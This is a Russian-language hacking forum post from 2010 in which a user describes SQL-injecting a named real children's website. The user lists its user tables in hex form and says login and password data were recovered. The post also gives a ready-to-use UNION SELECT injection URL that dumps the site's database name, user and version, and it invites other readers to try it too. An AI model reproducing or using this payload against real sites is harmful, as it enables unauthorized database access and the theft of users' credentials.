Показать сообщение отдельно

  #9  
Старый 24.03.2010, 16:58
sqlinjector
Новичок
Регистрация: 31.12.2009
Сообщений: 19
С нами: 8611638

Репутация: 10
По умолчанию

Называется "детский поисковик" (pr4, ТИЦ 240). отрыл 3 таблицы юзеров, в том числе и с помощью SIPTа.

Код HTML:
adrev_users -> 0x61647265765F7573657273
siuser -> 0x736975736572
tblUsers -> 0x74626C5573657273
нашел логин+пасс, по идее к админке, но вбиваю в http://www.agakids.ru/admin и нихрена не подходит.

Код HTML:
http://www.agakids.ru/shop/index.php?rub_id=7331&tov_id=-46184'+union+select+group_concat(database(),0x3a,user(),0x3a,version()+separator+0x0b)+--+
Попробуйте, может кому-нить и поможет!
 
Ответить с цитированием